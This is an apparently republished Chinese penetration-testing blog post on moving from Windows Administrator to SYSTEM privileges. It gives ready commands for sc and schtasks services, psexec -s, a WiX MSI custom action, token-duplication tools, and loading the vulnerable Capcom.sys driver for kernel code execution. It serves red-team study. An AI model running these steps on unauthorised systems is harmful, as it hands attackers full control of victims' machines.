渗透技巧——从 Admin 权限切换到 System 权限

发布于 2024-09-28 13:16:11 字数 7409 浏览 8 评论 0

0x00 前言

在渗透测试中,某些情况下需要用到 system 权限,例如操作注册表 HKEY_LOCAL_MACHINE\SAM\SAM

恰巧最近看到了一篇文章介绍了几种获得 system 权限的方法,于是决定结合自己的经验对这方面的技巧做系统整理

当然,前提是已经获得系统的管理员权限

学习链接:https://blog.xpnsec.com/becoming-system/

0x01 简介

本文将要介绍以下内容:

  • 通过创建服务获得 System 权限的方法
  • 利用 MSIExec 获得 System 权限的方法
  • 利用 token 复制获得 System 权限的方法
  • 利用 Capcom.sys 获得 System 权限的方法

0x02 通过创建服务获得 System 权限

1、通过 sc 命令实现

sc Create TestService1 binPath= "cmd /c start" type= own type= interact
sc start TestService1

该方法在 XP 系统可以使用

Win7 下使用时控制台提示:警告: 服务 TestService1 被配置为交互式服务,其支持正受到抨击。该服务可能无法正常起作用。

服务启动时弹框,需要点击查看消息才能执行代码,如下图

Alt text

Win8 下控制台提示错误,无法使用该方法

2、通过计划任务

使用 at 命令:at 7:50 notepad.exe

默认以 system 权限启动,适用于 Win7

从 Win8 开始不再支持 at 命令

使用 schtasks 命令:

  • 创建服务,以 system 权限启动:schtasks /Create /TN TestService2 /SC DAILY /ST 00:36 /TR notepad.exe /RU SYSTEM
  • 查看服务状态:schtasks /Query /TN TestService2
  • 删除服务:schtasks /Delete /TN TestService2 /F

注:使用 schtasks 创建服务后记得手动删除

schtasks 命令支持 Win7-Win10

3、利用 psexec

使用 psexec 会创建 PSEXESVC 服务,产生日志 Event 4697、Event 7045、Event 4624 和 Event 4652

以 system 权限启动:psexec.exe -accepteula -s -d notepad.exe

默认情况下,system 权限的进程不会在用户桌面显示,如果需要显示进程界面,可以加 /i 参数,命令如下:psexec.exe -accepteula -s -i -d notepad.exe

如下图

Alt text

4、Meterpreter

参考 Meterpreter 的方法:

  • 创建 system 权限的服务,提供一个命名管道
  • 创建进程,连接到该命名管道

可供参考的代码:https://github.com/xpn/getsystem-offline

需要 getsystem-offline.exe 和 getsystem_service.exe

测试如下图

Alt text

注:vs2012 直接编译存在 bug,可将函数 snprintf 替换为 _snprintf

0x03 利用 MSIExec 获得 System 权限

我曾在之前的文章 《渗透测试中的 msiexec》 介绍过利用 Advanced Installer 制作 msi 文件的方法,这里不再赘述

本节对 XPN 提到的方法做复现,使用 wix3 制作 msi 文件

wix3 下载地址:https://github.com/wixtoolset/wix3

msigen.wix 的代码可参考如下地址:https://gist.github.com/xpn/d1ef20dfd266053227d3e992ae84c64e

编译命令如下:

candle.exe msigen.wix
torch.exe msigen.wixobj

我对 XPN 的代码做了修改,将 payload 替换为执行 calc.exe,细节上做了部分修改,代码如下:

<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
  <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product 
Name" Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
    <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
    <Media Id="1" />

    <Directory Id="TARGETDIR" Name="SourceDir">
      <Directory Id="ProgramFilesFolder">
        <Directory Id="INSTALLLOCATION" Name="Example">
          <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">     
          </Component>
        </Directory>
      </Directory>
    </Directory>

    <Feature Id="DefaultFeature" Level="1">
      <ComponentRef Id="ApplicationFiles"/>
    </Feature>

    <Property Id="cmdline">calc.exe
    </Property>

    <CustomAction Id="SystemShell" Execute="deferred" Directory="TARGETDIR" 
ExeCommand='[cmdline]' Return="ignore" Impersonate="no"/>

    <CustomAction Id="FailInstall" Execute="deferred" Script="vbscript" Return="check">
      invalid vbs to fail install
    </CustomAction>

    <InstallExecuteSequence>
      <Custom Action="SystemShell" After="InstallInitialize"></Custom>
      <Custom Action="FailInstall" Before="InstallFiles"></Custom>
    </InstallExecuteSequence>

  </Product>
</Wix>

经过我的测试,使用 torch.exe 将 msigen.wixobj 编译成 msigen.msi 文件会报错,如下图

Alt text

使用 light.exe 能够成功生成 msigen.msi,如下图

Alt text

虽然报错,但不影响文件的生成和功能的执行

也就是说,完整编译命令如下:

candle.exe msigen.wix
light.exe msigen.wixobj

直接双击执行 msigen.msi 会弹框,启动的 calc.exe 为 system 权限

命令行下执行:msiexec /q /i msigen.msi

启动的 calc.exe 为 high 权限

0x04 利用 token 复制获得 System 权限

可参考之前的文章: 《渗透技巧——Token 窃取与利用》

通过复制 system 权限的 token,使进程获得 system 权限,常用工具如下:

1、incognito

incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

2、Invoke-TokenManipulation.ps1

Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"

下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

3、SelectMyParent

SelectMyParent.exe cmd.exe 504

参考地址:https://github.com/3gstudent/From-System-authority-to-Medium-authority/blob/master/SelectMyParent.cpp

Author: Didier Stevens

注:SelectMyParent 的原理同 xpn 开源的代码(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS method) 相同,地址如下:https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6

0x05 利用 Capcom.sys 获得 System 权限的方法

Capcom.sys 是游戏公司 Capcom 的《街头霸王 5》中用来反作弊的驱动程序,带有 Capcom 公司的签名,存在漏洞可以执行内核代码

下载地址:https://github.com/3gstudent/test/blob/master/Capcom.sys

SHA1: c1d5cf8c43e7679b782630e93f5e6420ca1749a7

适用于 Win7x64

1、在当前系统创建服务

需要管理员权限

sc create Capcom type= kernel binPath= C:\test\Capcom.sys
sc start Capcom

2、执行漏洞利用程序

普通用户权限即可

可供参考的的代码:https://github.com/tandasat/ExploitCapcom

0x06 小结

本文对常用的 System 权限获取方法做了整理,最后感谢 xpn 的博客和他的开源代码。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

伊面

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

一梦浮鱼

文章 0 评论 0

mb_Z9jVigFL

文章 0 评论 0

伴随着你

文章 0 评论 0

耳钉梦

文章 0 评论 0

18618447101

文章 0 评论 0

蜗牛

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文